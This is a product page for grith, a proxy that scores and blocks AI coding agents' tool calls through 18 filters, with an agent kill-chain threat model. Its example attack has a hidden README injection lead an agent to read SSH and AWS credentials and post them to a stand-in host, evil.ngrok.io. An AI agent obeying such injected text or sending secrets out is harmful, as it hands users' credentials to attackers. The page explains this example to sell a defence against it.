Security architecture

Architectural security for AI agents

Every tool call - file read, shell command, network request - passes through a multi-filter scoring proxy before execution. Not a wrapper. Not a prompt. An enforcement architecture.

0 filters
Independent classifiers
0.00ms
Measured scoring p50
0 outcomes
Allow / Queue / Deny
Tool Call18 FILTERS x 3 PHASESSTATICPATTERNCONTEXTSCOREALLOWQUEUEDENY
The problem, measured
0
CVEs in AI-Powered IDEs
IDEsaster Research
0%
Exploitation Rate
IDEsaster Research
0%
Breach Alerts Ignored
Verizon 2024 DBIR
0+
Exposed Instances
ClawHavoc Attack
Principles

Six design principles

Security decisions baked into the architecture, not bolted on after.

Every call evaluated

No operation executes without passing through the security proxy. Every file access, network connection, and process spawn is intercepted, scored, and gated.

Defence in depth

Multiple independent security layers ensure no single failure compromises the system. 18 filters across 3 phases.

Fail closed

Any proxy error, timeout, or unexpected condition results in DENY, not ALLOW. Security degrades safely.

Minimal privilege

Each supervised tool receives only the permissions defined by its profile. Routine operations auto-allow; everything else is scored.

Auditable

Every tool call, filter evaluation, score, and decision is logged in structured JSON. Full audit trail.

Enforcement convergence

Both execution paths route through the same proxy, filters, scoring engine, audit log, and digest system.

Execution modes

Two modes, one pipeline

Whether you run grith's built-in agent or wrap an external CLI tool, every operation flows through the same security proxy.

Mode 1

Built-in Agent

Grith's own LLM agent runs tool calls through the security proxy before execution. Every file read, shell command, and HTTP request is scored and gated.

  • *Every tool call proxy-evaluated before execution
  • *Profile-based allowlists scope permitted operations
  • *Full audit trail with per-call scoring
Terminal
$ grith run "fix the tests"
Mode 2

CLI Supervisor

Wrap any external tool - Claude Code, Codex, Aider - with grith exec. OS-level syscall interception routes every operation through the security proxy.

  • *Linux x86_64 and aarch64 available now with ptrace + seccomp full interception
  • *macOS support tracked for v2.0 (Endpoint Security port)
  • *Windows support tracked for v2.0 (ETW + supervisor port)
Terminal
$ grith exec -- claude-code "fix the bug"

Multi-Filter Security Proxy

Same filters, same scoring thresholds, same audit log, same digest system. Security policy is defined once and applies everywhere.

✓ ALLOW
score < 3.0
⏸ QUEUE
score 3.0-8.0
⛔ DENY
score > 8.0
The pipeline

18 filters, 3 phases, one composite score

Tool calls flow through independent filter phases. Threats are caught early - most never reach the final scoring stage.

file_readfile_writeshell_execnet_requestSTATICoperation-riskpath-matchsensitive-path-heuristicallowlistargumentcapabilityPATTERNsecret-scancommanddestructive-actionegress-policydlp-gatecanaryCONTEXTreputationbehaviouraltaintsession-containmentrate-limitegress-rateALLOW910QUEUE70DENY20
Allow
score < 3.0
Queue for review
score 3.0 - 8.0
Deny
score > 8.0
Filter reference

Every filter, explained

18 independent classifiers across three pipeline phases. Within each phase, all filters execute in parallel.

#FilterPhaseLatencyScore
1
operation-risk
Classifies tool call type and assigns base risk score
Static<0.1ms+1 to +4
2
path-match
Aho-Corasick pattern matching on file paths and arguments
Static<0.1ms+2 to +5
3
sensitive-path-heuristic
Heuristic detection of sensitive directories (.ssh, .env, credentials)
Static<0.1ms+1 to +4
4
allowlist
Exact match against user-configured allow and deny lists
Static<0.1ms-1 to +3
5
argument
Detects anomalous argument sizes and malformed structures
Static<0.1ms0 to +2
6
capability
Validates operation against supervisor profile permissions
Static<0.1ms0 or DENY
7
secret-scan
Regex + entropy detection for 1,618 patterns (API keys, tokens, passwords)
Pattern1-3ms+3 to +5
8
command
Shell command parsing for pipe chains, redirections, evals
Pattern0.5-1ms+2 to +4
9
egress-policy
Controls outbound network destinations against trusted domain lists
Pattern<0.1ms+2 to +5
10
dlp-gate
Data loss prevention - detects and redacts sensitive data in outbound content
Pattern0.5-2ms+3 to +5
11
canary
Detects access to planted canary files and honeytokens
Pattern<0.1ms+4 to +5
12
destructive-action
Hard-denies catastrophic host/storage destruction (disk format, raw device overwrite, recursive removal of a system root or database data dir) and escalates destructive operations against production targets
Pattern0.1-0.5ms+3.5 to DENY
13
reputation
IP/domain reputation lookup for network requests
Context0.5-2ms-1 to +4
14
behavioural
Deviation from learned baselines for this user/project
Context1-3ms+1 to +3
15
taint
Tracks data provenance - blocks tainted data exfiltration
Context0.1-0.5ms+3 to +5
16
session-containment
Detects read-then-exfiltrate patterns within a session window
Context0.1-0.5ms+2 to +4
17
rate-limit
Burst detection, frequency caps, statistical anomalies
Context<0.1ms+1 to +3
18
egress-rate
Tracks outbound request volume, unique destinations, and port scanning
Context<0.1ms+1 to +3

Filter latency ranges

0ms2ms4ms6ms8ms10ms12ms1. operation-risk2. path-match3. sensitive-path-heurist...4. allowlist5. argument6. capability7. secret-scan8. command9. egress-policy10. dlp-gate11. canary12. destructive-action13. reputation14. behavioural15. taint16. session-containment17. rate-limit18. egress-rate
Threat model

AI agent kill chain detection

Grith maps agent behaviour to a 7-phase kill chain adapted from MITRE ATT&CK. Most threats are intercepted in the earliest phases.

1RECONDirectory enumerationConfig file probingEnv var access2WEAPONIZEDependency injectionScript generationPayload crafting3DELIVERYcurl | sh patternspip install from URLDownload + execute4EXPLOITPrivilege escalationInterception evasionPermission creep5INSTALLCron job creationService registrationFile persistence6C2Outbound to unknown IPsDNS tunnelingEncoded payloads7EXFILSensitive file readsBulk data transferSecret exposure
Intercepted early
Intercepted mid-chain
Intercepted late
A real attack scenario

What prompt injection looks like in practice

A malicious README tells your agent to exfiltrate SSH keys. No prompt, no alert - unless grith is watching.

Without grithCompromised
$ agent "review this repo"
# Agent reads README.md with hidden injection
→ Reading project files...
→ Analysing codebase...
fs.read("~/.ssh/id_rsa")
fs.read("~/.aws/credentials")
net.post("https://evil.ngrok.io/collect",
body: { ssh_key, aws_creds })
⚠ Credentials exfiltrated to attacker server.
No alert was raised. No prompt was shown.
With grithProtected
$ grith exec -- agent "review this repo"
# Same repo, same hidden injection
→ Reading project files...
→ Analysing codebase...
fs.read("~/.ssh/id_rsa")
├─ sensitive-path-heuristic +5.0
├─ secret-scan +4.5
└─ score 9.5 · deny > 8.0 → ⛔ DENIED
✓ Call denied. Logged to the audit trail.
Agent continued safely on remaining tasks.
Score distribution

Expected score distribution

1,000 simulated tool calls across a typical development session. The vast majority of operations are routine and pass automatically.

ALLOWQUEUEDENYSSH key access: 8.5curl | sh: 1203581015COMPOSITE SCORE050100150200
91%
Auto-allowed
7%
Queued for review
2%
Auto-denied
Compliance evidence

Designed to support your compliance workflows

Every tool call produces structured audit evidence. Map it to the framework your auditors require. Grith is not itself certified - it provides the data your auditors need.

25%50%75%100%LoggingAccess ControlMonitoringIncident ResponseData ProtectionTransparency

SOC 2 Type II

Audit evidence for trust services criteria

NIST AI RMF

Structured data for all 4 functions

EU AI Act

Articles 9, 12, 13, 14, 15, 72

ISO - AI management systemOWASP - 6/10 risks coveredFedRAMP - ConMon-compatible data export (planned)
HIPAA - PHI access loggingPCI-DSS - Audit trail complianceITAR - Configurable retention
Comparison

Security architecture, not a safety setting

Of the agent CLIs compared here, grith is the only one built around per-syscall security evaluation - open source, model-agnostic, and below the agent.

CapabilitygrithClineAiderOpen Interp.Claude CodeCodex
Per-syscall interceptioncoarsecontainer
CLI supervisor
Multi-filter scoring
Quarantine digest
Model agnostic
Local-first
Open source
Cost tracking
Analytics & compliance
Encrypted team key sync
Multi-channel approvals

Try it yourself

One command. Watch the security proxy score its first tool call.

terminal
$ curl -fsSL https://grith.ai/install | sh

Responsible Disclosure

We take security vulnerabilities seriously. If you discover a security issue in grith, we ask that you disclose it responsibly.

  • Email security@grith.ai with details of the vulnerability.
  • Include steps to reproduce, affected versions, and potential impact.
  • Allow up to 90 days for us to investigate and patch before public disclosure.
  • We will acknowledge your report within 48 hours and provide regular updates on remediation progress.

Security Contact

For security-related communications, contact us at security@grith.ai. For PGP-encrypted communications, our public key is available upon request.

Security Advisories

Security advisories will be published on this page and in the project's GitHub repository. Subscribe to the repository releases to receive notifications.

For detailed architecture documentation, see the documentation site.